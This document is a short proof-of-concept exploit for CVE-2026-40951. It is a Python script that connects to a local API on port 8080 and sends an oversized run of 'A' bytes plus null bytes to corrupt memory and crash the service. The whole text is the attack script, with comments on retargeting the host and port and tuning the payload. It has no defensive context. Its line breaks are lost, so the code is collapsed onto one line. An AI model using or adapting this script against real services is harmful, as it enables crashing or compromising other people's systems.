CVE-2026-40951

import socket import sys # Proof of Concept for CVE-2026-40951 # This script demonstrates sending malformed data to a vulnerable local API. # Note: The specific IP/Port needs to be identified based on the target environment. TARGET_HOST = '127.0.0.1' TARGET_PORT = 8080 # Example port, replace with actual vulnerable service port # Malformed payload designed to trigger memory corruption # Adjust the payload pattern based on reverse engineering of the target API malformed_payload = b"\x41" * 10000 + b"\x00\x00\x00\x00" def send_exploit(): try: print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) print("[*] Sending malformed payload...") s.sendall(malformed_payload) print("[*] Payload sent. Check if the service has crashed.") s.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": send_exploit()

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